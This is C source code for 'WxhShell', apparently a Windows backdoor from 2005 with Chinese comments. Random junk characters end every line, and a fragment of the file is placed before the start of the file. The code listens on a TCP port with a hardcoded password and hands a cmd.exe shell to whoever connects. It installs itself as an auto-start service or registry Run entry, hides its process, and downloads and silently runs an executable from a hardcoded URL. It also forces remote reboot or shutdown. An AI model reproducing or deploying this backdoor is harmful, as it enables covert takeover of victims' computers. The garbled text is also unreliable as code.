  case 'd': { .dmi#%W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l!~ mxUb  
    if(Boot(SHUTDOWN)) $2#7D* Rx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NPjv)TN}3  
    else { SUtf[6  
    closesocket(wsh); /Cr/RG:OX  
    ExitThread(0); E~hzh /,34  
    } slW3qRT\k  
    break; T-" I9kM  
    } "ZMkL)'7-  
  // 获取shell ]MTbW=*}ED  
  case 's': { q/&y*)&'O  
    CmdShell(wsh); 8im@4A+n`  
    closesocket(wsh); (lH,JX`$a  
    ExitThread(0); USPTpjt8R  
    break; ANMg  
  } ~H /2R  
  // 退出 +M\8>/0oA  
  case 'x': { |M~ON=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %y`7);.q  
    CloseIt(wsh); yy2I2Bv  
    break; j tA*pL'/V  
    } ,LYFEq_  
  // 离开 HgRwi It  
  case 'q': { gn1(4 o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l=P'B @,  
    closesocket(wsh);  _^t-9  
    WSACleanup(); {G i h&N  
    exit(1); z3 ?\:Yz  
    break; `NNf&y)y  
        } )Hw:E71h2  
  } UWXm?v2j  
  } 7"v$- Wy  
-w 6 "?  
  // 提示信息 Rm>^tu -  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q9?t[ir  
} 6`H.%zM  
  } xi'>mIT  
^4$ 'KIq  
  return; cPF<D$B  
} ;[0&G6g  
pa]"iZz  
// shell模块句柄 #gbH^a'  
int CmdShell(SOCKET sock) 2y GOzc  
{ i%{X9!*%TX  
STARTUPINFO si; y=sGe!^  
ZeroMemory(&si,sizeof(si)); f@V3\Z/6E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a}nbo4jK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y:QD   
PROCESS_INFORMATION ProcessInfo; O>0VTW  
char cmdline[]="cmd"; `)>7)={  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); : mGAt[Cc  
  return 0; 7^e +  
} 1(dj[3Mt  
)mcEQ-!b  
// 自身启动模式 fys  
int StartFromService(void) MXh "Y*}  
{ ]Yyia.B  
typedef struct X]*QUV]i  
{ |;vi*u  
  DWORD ExitStatus; Sfjje4R  
  DWORD PebBaseAddress; '\DSTr:N  
  DWORD AffinityMask; HeN~c<NuB  
  DWORD BasePriority; v90T{1+M|4  
  ULONG UniqueProcessId; j2n,f7hl.  
  ULONG InheritedFromUniqueProcessId; O}ejWP8>  
}   PROCESS_BASIC_INFORMATION; ) M<vAUF  
'ktHPn ,K  
PROCNTQSIP NtQueryInformationProcess; C;B}3g&  
u=l1s1>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wsfd8T4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $.mQ7XDA9  
|$lwkC)O  
  HANDLE             hProcess; o>D  
  PROCESS_BASIC_INFORMATION pbi; '` CspY  
\' li  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); akuJz  
  if(NULL == hInst ) return 0; Wsj=!Obc  
-e@!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ChK]v 6C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }-<zWI {p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qCMl!g'  
]dPZ.r  
  if (!NtQueryInformationProcess) return 0; p='-\M74K  
deX5yrvOie  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )h$NS2B`  
  if(!hProcess) return 0; Vd9@Dy  
(&\aA 0-}H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;e8V +h  
ik,lSTBD  
  CloseHandle(hProcess); in%;Eqk  
PH4%R]{8{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wa"(m*hW  
if(hProcess==NULL) return 0; irBDGT~  
g^>#^rLU  
HMODULE hMod; g=)J~1&p  
char procName[255]; B/uniR^x  
unsigned long cbNeeded; [THG4582oB  
B7*}c]^6/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &~sfYW  
tx7~S Ur  
  CloseHandle(hProcess); vq'c@yw;  
UH`hOJ?  
if(strstr(procName,"services")) return 1; // 以服务启动 ?:rx1}:F  
h rN%  
  return 0; // 注册表启动 :Og:v#r8=  
} ?>uew^$d[w  
SpTdj^]4>  
// 主模块 p#d+>7  
int StartWxhshell(LPSTR lpCmdLine) kUHE\L.Y]  
{ /FY2vDfU6  
  SOCKET wsl; KU&G;ni2  
BOOL val=TRUE; _Tm0x>EM  
  int port=0; N]/!mo?  
  struct sockaddr_in door; |I8Mk.Z=FA  
/i|z.nNO  
  if(wscfg.ws_autoins) Install(); ': F}3At  
Fw4*  
port=atoi(lpCmdLine); pa .K-e)Mu  
sYbH|}  
if(port<=0) port=wscfg.ws_port; ?h\mk0[  
}k$4/7ri  
  WSADATA data; wOgE|n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S9sR#  
OJ>.-"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Bn wzcl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ik1tidw  
  door.sin_family = AF_INET; n(Y%Vmy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rx ~[Zs+*  
  door.sin_port = htons(port); 5t:8.%<UK  
0au)g!ti  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cSP*f0n,eo  
closesocket(wsl); y7u^zH6wj  
return 1; > R^@Ww;|q  
} ilLBCS}  
_uxPx21g}  
  if(listen(wsl,2) == INVALID_SOCKET) { mPZGA\  
closesocket(wsl); 3C>qh{z"  
return 1; 6)RbPPeE  
} >O9 sk  
  Wxhshell(wsl); &rq{v!=7  
  WSACleanup(); ]L_w$ev'  
pR o s{Uq"  
return 0; `|e!Kq?#Q  
#~ v4caNx  
} H. ,;-  
h=VqxGC&  
// 以NT服务方式启动 =5]n\"/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?^!,vh  
{ yOXO)u1n  
DWORD   status = 0; Y Z}cB  
  DWORD   specificError = 0xfffffff; K\! #4>yd  
C*Vd-U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q%ad q-B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5OLQw(E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ReB7vpd  
  serviceStatus.dwWin32ExitCode     = 0; F}?<v8#z0  
  serviceStatus.dwServiceSpecificExitCode = 0; x4?10f(9=  
  serviceStatus.dwCheckPoint       = 0; U\<-mXv  
  serviceStatus.dwWaitHint       = 0; T3J'fjY  
_ *(bmJM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $Rtgr{ {;"  
  if (hServiceStatusHandle==0) return; o=+Z.-q  
{+T/GBF-K=  
status = GetLastError(); EYzg%\HH  
  if (status!=NO_ERROR) n~0z_;5  
{ ZXiRw)rM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OYwGz  
    serviceStatus.dwCheckPoint       = 0; /="HqBI#i  
    serviceStatus.dwWaitHint       = 0; (RL>Hn;.  
    serviceStatus.dwWin32ExitCode     = status; W.}].7}h  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9 t:]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BR_TykP  
    return; D#rrW?-z  
  } +a)E|(cN  
)$M,Ul  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5mB]N%rfW%  
  serviceStatus.dwCheckPoint       = 0; j+ ::y) $  
  serviceStatus.dwWaitHint       = 0; 1JS2SxF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9(1rh9`=  
} ; 2`sN   
}7/e8 O2  
// 处理NT服务事件,比如:启动、停止 UGKaOol.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?bX  
{ ~5aE2w0K   
switch(fdwControl) lJ  
{ HOW7cV'X  
case SERVICE_CONTROL_STOP: o \L!(hm  
  serviceStatus.dwWin32ExitCode = 0; b[^{)$(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6 vs3O  
  serviceStatus.dwCheckPoint   = 0; `aSM8C\  
  serviceStatus.dwWaitHint     = 0; Y*YFB|f?  
  { eD#XDK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [I+9dSM1t  
  } cnNOZ$)  
  return; v"lf-c  
case SERVICE_CONTROL_PAUSE: gT52G?-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4YA./j%'  
  break; P~7.sM  
case SERVICE_CONTROL_CONTINUE: H[&@}v,L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >IvBU M[Rt  
  break; 'imU `zeo  
case SERVICE_CONTROL_INTERROGATE: p]|LV)R n  
  break; *o?i:LE]  
}; a:!uORQby  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pa/9F[  
} #gZ|T M/h  
~ 9M!)\~  
// 标准应用程序主函数 ;IP~Tb]&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [~%`N*G  
{ &w\ I<J`T  
yXfMzG  
// 获取操作系统版本 P'[<A Z  
OsIsNt=GetOsVer(); m#@_8_ M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hl/itSl$  
"ED8z|]j  
  // 从命令行安装 :{}_|]>K  
  if(strpbrk(lpCmdLine,"iI")) Install(); .KA V)So"  
|ng%PQq)  
  // 下载执行文件 POd/+e9d  
if(wscfg.ws_downexe) { bg7n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BWK IbG  
  WinExec(wscfg.ws_filenam,SW_HIDE); f6ZZ}lwaV  
} A|RR]CFJ  
,@CfVQz  
if(!OsIsNt) { 4('JwZw\!  
// 如果时win9x,隐藏进程并且设置为注册表启动 k=n "+  
HideProc(); d]B= *7]  
StartWxhshell(lpCmdLine); {U @3yB  
}  &"S/Lt  
else ?l6jG  
  if(StartFromService()) aC\4}i<  
  // 以服务方式启动 NB)t7/Us  
  StartServiceCtrlDispatcher(DispatchTable); :=!Mh}i  
else DdjCn`jqlf  
  // 普通方式启动 2<6j1D^jM  
  StartWxhshell(lpCmdLine); Z7#7N wy4  
Os&1..$Nb  
return 0; o}D![/  
} 9YKDguG  
kK[duW =6  
S!dHNA:iU  
c~Kc7}I  
=========================================== d<T%`:s<  
B@cz ?%]  
2i:zz? 'p`  
L,M+sN  
A~71i&  
ZgYZwc&-  
" rK=6]j(K  
~"7J}[i 5  
#include <stdio.h> fPQ|e"?  
#include <string.h> F=Y S^  
#include <windows.h> )/Y~6A9>  
#include <winsock2.h> f%Ke8'&  
#include <winsvc.h> UxqWnHH.`  
#include <urlmon.h> Q1V2pP+=@  
5 si}i'in  
#pragma comment (lib, "Ws2_32.lib") 7'.s7& '7  
#pragma comment (lib, "urlmon.lib") %C *^:\y  
gGbI3^ r#  
#define MAX_USER   100 // 最大客户端连接数 PrnrXl S  
#define BUF_SOCK   200 // sock buffer n`<S&KP|  
#define KEY_BUFF   255 // 输入 buffer eV;me>,  
G11cNr>*  
#define REBOOT     0   // 重启 3M*Y= ?pI  
#define SHUTDOWN   1   // 关机 [j0w\{  
<94WZ?{p  
#define DEF_PORT   5000 // 监听端口 fM":f| G  
b(&] >z  
#define REG_LEN     16   // 注册表键长度 xrI}3T  
#define SVC_LEN     80   // NT服务名长度 -Bv 12ymLG  
bXvbddu)}  
// 从dll定义API ,}7_[b)&V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1uM/2sX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BjZ>hhs!*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fv ?45f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R}k69-1vL  
pt})JMm  
// wxhshell配置信息 (#u{ U=  
struct WSCFG { }tR'Hz2  
  int ws_port;         // 监听端口 qJ Gm8^b-  
  char ws_passstr[REG_LEN]; // 口令 =] KIkS3  
  int ws_autoins;       // 安装标记, 1=yes 0=no /djACA  
  char ws_regname[REG_LEN]; // 注册表键名 7^wE$7hS  
  char ws_svcname[REG_LEN]; // 服务名 cjY@Ot*i$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4A  o{M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ND,`QjmZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9[{sEg=C$e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3^~Zj95M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Czh8zB+r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mjw[:70  
{PmzkT}LF  
}; B\zoJg&7(  
@_O3&ZK  
// default Wxhshell configuration 04\Ta  
struct WSCFG wscfg={DEF_PORT, ..$>7y}  
    "xuhuanlingzhe", a7 )@BzF#  
    1, *`.LA@bHU  
    "Wxhshell", =ZMF]|  
    "Wxhshell", 1 ypjyu  
            "WxhShell Service", jkCHi@  
    "Wrsky Windows CmdShell Service", *1,=qRjL  
    "Please Input Your Password: ", )0F^NU  
  1, RAOKZ~`  
  "http://www.wrsky.com/wxhshell.exe", lko3]A3  
  "Wxhshell.exe" ULu O0\W  
    };  8bGD  
k+txb?  
// 消息定义模块 %&1$~m0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E7 L bSZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hg&u0AQ2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hXnw..0"  
char *msg_ws_ext="\n\rExit."; gix>DHq$k  
char *msg_ws_end="\n\rQuit."; Xj;2h{#s  
char *msg_ws_boot="\n\rReboot..."; kPedX  
char *msg_ws_poff="\n\rShutdown..."; ZIy(<0  
char *msg_ws_down="\n\rSave to "; @?M; 'xMbB  
40+fGRyOL  
char *msg_ws_err="\n\rErr!"; 2%]t3\XW  
char *msg_ws_ok="\n\rOK!"; Xv&%2-V;  
PHQcstW  
char ExeFile[MAX_PATH]; 2<m Q,,j  
int nUser = 0; ' tSnH&c  
HANDLE handles[MAX_USER]; Q'C 4pn@  
int OsIsNt; Xky@[Td*  
wOM<X hZ  
SERVICE_STATUS       serviceStatus; U,d2DAvt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $~ VcQ  
8E=vR 8  
// 函数声明 `W="g6(  
int Install(void); oE5;|x3  
int Uninstall(void); }Fz!6F2w  
int DownloadFile(char *sURL, SOCKET wsh); vcV!K^M-  
int Boot(int flag); 30BR 0C  
void HideProc(void); <L%HG  
int GetOsVer(void); lXw;|dGF  
int Wxhshell(SOCKET wsl); 6ku8`WyoF  
void TalkWithClient(void *cs); w&9F>`VET  
int CmdShell(SOCKET sock); "d:.*2Z2  
int StartFromService(void); P 4H*jy@?  
int StartWxhshell(LPSTR lpCmdLine); `43vxcMg  
uzO {{S-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); % dYI5U89  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b sMC#xT  
|&(H^<+Xp  
// 数据结构和表定义 o KlF5I  
SERVICE_TABLE_ENTRY DispatchTable[] = Qw}xGlF,  
{ ko>M&/^  
{wscfg.ws_svcname, NTServiceMain}, E4hq}  
{NULL, NULL} XWc|[>iO  
}; 69-$Wn43<  
y^, "gD  
// 自我安装 '&/(oJ ;O~  
int Install(void) 4fD`M(wv  
{ Px$'(eMj^3  
  char svExeFile[MAX_PATH]; ud.poh~|  
  HKEY key; ItMl4P`|  
  strcpy(svExeFile,ExeFile); .^BWR  
Y0rf9  
// 如果是win9x系统,修改注册表设为自启动 Q.<giBh  
if(!OsIsNt) { D8a)(wm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5#P: "U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2"zIR (  
  RegCloseKey(key); 0NVG"-Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x}uwWfe3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E=A/4p6\$  
  RegCloseKey(key); ~xP Szf  
  return 0; l#mtND3  
    } )!BB/'DRQ  
  } KqFmFcf|  
} _AVy:~/  
else { +V6j`  
rknzo]N,  
// 如果是NT以上系统,安装为系统服务 Qz'O{f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J&(  
if (schSCManager!=0) p$B)^S%0i  
{ 7jhl0  
  SC_HANDLE schService = CreateService T3 =)F%  
  ( h)"'YzCt  
  schSCManager, FyQOa)5  
  wscfg.ws_svcname, ZV0) ."^Z  
  wscfg.ws_svcdisp, #cR57=M}  
  SERVICE_ALL_ACCESS, twAw01".  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kWI]fZ_n  
  SERVICE_AUTO_START, Qh/lT$g  
  SERVICE_ERROR_NORMAL, TeOFAIU  
  svExeFile, FW/6{tm  
  NULL, cPx66Dh&  
  NULL, K,Lr +  
  NULL, oC5gME"2  
  NULL, >qr=l,Hi  
  NULL F>p%2II/  
  ); hU |LFjc  
  if (schService!=0) }o~Tw?z-|  
  { ,^Ex}Z  
  CloseServiceHandle(schService); ))c*_n  
  CloseServiceHandle(schSCManager); :Xb*m85y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :/ ~):tM  
  strcat(svExeFile,wscfg.ws_svcname); v\J!yz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9c#L{in  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D-;J;m \  
  RegCloseKey(key); AviT+^7E  
  return 0; Kv(Y }  
    } 3xc:Y> *`  
  } 0^-z?Kb<}  
  CloseServiceHandle(schSCManager); mm3zQ!2j.  
} =9#i<te  
} @oUf}rMiDa  
Lx9hq7<  
return 1; ,oy4V^B&  
} *9\oD~2Y  
#1gTpb+t  
// 自我卸载 "-G.V#zI  
int Uninstall(void) [R roHXdk+  
{ h}Fu"zK  
  HKEY key; Yk(NZ3O  
wI|bBfd(  
if(!OsIsNt) { jJiCF,m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g`y/ _  
  RegDeleteValue(key,wscfg.ws_regname); b#bO=T$e-  
  RegCloseKey(key); 89 _&X[X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #MmmwPB_  
  RegDeleteValue(key,wscfg.ws_regname); J$o[$G_Z  
  RegCloseKey(key); JI28}Cxs0  
  return 0; {'cs![U  
  } FZ;Y vdX6  
} oXu~9'm$  
} T#ecLD#  
else { P#M<CG9  
gME:\ud$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p8 E;[  
if (schSCManager!=0) Py(wT%w  
{ sIP6GWK$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b@UF PE5jy  
  if (schService!=0) Iwd"f  
  { x`&P}4v0  
  if(DeleteService(schService)!=0) { hfVzzVX:  
  CloseServiceHandle(schService); bYRQI=gW':  
  CloseServiceHandle(schSCManager); FuRn%)DA5  
  return 0; NpjsZcA  
  } Br?++\  
  CloseServiceHandle(schService); ~cWLu5  
  } Pj^k pjV  
  CloseServiceHandle(schSCManager); ~8S4Kj)%  
} ]kU~#WT  
} SV$ASs  
< :S?t2C  
return 1; r)*_,Fo|  
} 3@#,i<ge:  
C 6:pY-  
// 从指定url下载文件 <ZN) /,4PS  
int DownloadFile(char *sURL, SOCKET wsh) x %!OP\  
{ &QHA_+88W  
  HRESULT hr; m"k i*9]  
char seps[]= "/"; [m@e^6F0U  
char *token; 6M2i? c  
char *file; Xlgz.j7XR  
char myURL[MAX_PATH]; .-gm"lB  
char myFILE[MAX_PATH]; LQuYCfj|  
B%?|br  
strcpy(myURL,sURL); (rCPr,@0  
  token=strtok(myURL,seps); pD)/- Dgdm  
  while(token!=NULL) W"DxIy  
  { JN9HT0  
    file=token; w^vK7Z 1$  
  token=strtok(NULL,seps); 0o\=0bH&s  
  } J0{WqA.P  
G/^5P5y%@  
GetCurrentDirectory(MAX_PATH,myFILE); 2gNBPd)I  
strcat(myFILE, "\\"); tF)k6*+  
strcat(myFILE, file); ^!{ oAzy9  
  send(wsh,myFILE,strlen(myFILE),0); t2U]CI%  
send(wsh,"...",3,0); =h1 QN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~S~x@&yR  
  if(hr==S_OK) q, 19NZ  
return 0; |R|U z`  
else a|^-z|.  
return 1; 5#A1u Nb  
LP-KD  
} KfN`ZZ<  
Yqj.z|}Nb  
// 系统电源模块 mYU dhL ^  
int Boot(int flag) [~&:`I1  
{ tue%L]hc  
  HANDLE hToken; bU@>1>b6lE  
  TOKEN_PRIVILEGES tkp; 1+y6W1m^R  
~P.-3  
  if(OsIsNt) { ]f+D& qZ B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 88X*:Kf?:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mqfEs0~I  
    tkp.PrivilegeCount = 1; =iQ`F$M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =FC;d[U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "#"Fp&Z7  
if(flag==REBOOT) { e&VR>VJEA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0zk T8'v  
  return 0; GqF.T#|  
} -p]`(S%  
else { mU0r"\**c3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NU 6Kh7  
  return 0; 4N^Qd3[d  
} :j50]zLy{  
  } +xu/RY_  
  else { x%Y a*T  
if(flag==REBOOT) { T W;;OS[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (Os OPTp  
  return 0; D -\'P31  
} "Y J;-$rb  
else { (2a "W`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bm]dz;ljh  
  return 0; `E1_S  
} "Z1&z-   
} ?tM].\  
M`,Z#)Af  
return 1; GzE3B';g  
} vd X~E97  
(YWc%f4  
// win9x进程隐藏模块 -X[8soz  
void HideProc(void) h[v3G<C~r  
{ Wy-quq03"&  
R S_lQ{'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I4DlEX  
  if ( hKernel != NULL ) H<}Fk9  
  { X9BBnZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U=<.P;+f9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -W"0,.Dvg  
    FreeLibrary(hKernel); "a_D]D(d5  
  } i1H80m s  
F/,<dNJ  
return; ;<ma K*f\S  
} d+| ! 6  
Q)i`.mHfFI  
// 获取操作系统版本 eX),B  
int GetOsVer(void) b.u8w2(  
{ .Yv.-A=ZIg  
  OSVERSIONINFO winfo; {~{s=c0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f0'Wq^^  
  GetVersionEx(&winfo); /xbF1@XtL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jQBdS. }'v  
  return 1; %'g-%2C?  
  else |~vQ0D  
  return 0; GZ>% &^E  
} ~m=%a  
}u*@b10   
// 客户端句柄模块 YD>>YaH_3@  
int Wxhshell(SOCKET wsl) 0Y`tj  
{ w*R-E4S?2  
  SOCKET wsh; Y8xnvK*  
  struct sockaddr_in client; r{3 `zqo  
  DWORD myID; Xv(9 Yh S  
\36;csu  
  while(nUser<MAX_USER) u z2s-,  
{ v/6,eIz  
  int nSize=sizeof(client); WHk/mAI-s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D{d$L9.  
  if(wsh==INVALID_SOCKET) return 1; COJ!b  
Rm 1`D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x;]{ 8#-z  
if(handles[nUser]==0) 0\<-R  
  closesocket(wsh); r4>I?lD  
else QKkr~?sTO  
  nUser++; p?NjxQLA  
  } L/+J|_J)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,^Srd20  
7%FZXsD  
  return 0; e9~4wt  
} s7.*o@G  
^"#rDP"v  
// 关闭 socket :NyEd<'  
void CloseIt(SOCKET wsh) YD.^\E4o  
{ :|mkI#P.  
closesocket(wsh); ~F6gF7]z  
nUser--; 4gNRln-  
ExitThread(0); tLXw&hFk`g  
} 4'=N{.TtO  
._nKM5.  
// 客户端请求句柄 >o= p5#{  
void TalkWithClient(void *cs) EQhV}9  
{ #C7j|9Ew1]  
3^UsyZS)  
  SOCKET wsh=(SOCKET)cs; P&^7wud-sb  
  char pwd[SVC_LEN]; e[dRHl  
  char cmd[KEY_BUFF]; aM}"DY-_ h  
char chr[1]; F|K4zhK  
int i,j; A)\DPLAG  
0qUap*fvC  
  while (nUser < MAX_USER) { 1}M.}G2u/  
vaZZzv{H  
if(wscfg.ws_passstr) { m =F@CA~C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =eLb"7C#0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OYy !4Fp  
  //ZeroMemory(pwd,KEY_BUFF); c9@jyq_H?  
      i=0; ng*E9Puu[  
  while(i<SVC_LEN) { A:J{  
Xkm2C)  
  // 设置超时 <5}du9@  
  fd_set FdRead; u@'zvkb@  
  struct timeval TimeOut; A+DYIS  
  FD_ZERO(&FdRead); X&8,.=kt"  
  FD_SET(wsh,&FdRead); yE9.]j  
  TimeOut.tv_sec=8; sB/s17ar  
  TimeOut.tv_usec=0; jP'b! 4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k|C8sSH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qE:DJy <  
"A+F&C>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EC&,0i4n:  
  pwd=chr[0]; 4T E ?mh}  
  if(chr[0]==0xd || chr[0]==0xa) { 9r#{s Y  
  pwd=0; _?c.3+;s  
  break; r2'rf pQ  
  } "-:\-sMt{  
  i++; 9X` QlJ2|  
    } p00AcUTq  
IW_D$pq  
  // 如果是非法用户,关闭 socket <~+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N+75wtLy&  
} &/?jMyD@  
h'KtG<+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .U%"oD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rv%[?Ml  
2f4c;YS  
while(1) { l$9,  
74(J7  
  ZeroMemory(cmd,KEY_BUFF); 1iDo$]TEK  
=7,U qMl_  
      // 自动支持客户端 telnet标准   "6QMa,)D  
  j=0; d]`,}vi#E9  
  while(j<KEY_BUFF) { *)I1gR~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @E;pT3; )  
  cmd[j]=chr[0]; - S-1<xR  
  if(chr[0]==0xa || chr[0]==0xd) { S>E.*]_  
  cmd[j]=0; J@iN':l-  
  break; 3Q)>gh*  
  } nWu4HFi  
  j++; ]l%.X7M9  
    } j@!}r|-T  
A,)ELVk1F  
  // 下载文件 -`EoTXT*U  
  if(strstr(cmd,"http://")) { cvfAa#tq>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e8bJ]  
  if(DownloadFile(cmd,wsh)) dR:iUw:V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KLW+&.re8  
  else AoeW<}MO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &N0|tn  
  } $:wM'&M  
  else { q04Dj-2<  
hM w`e  
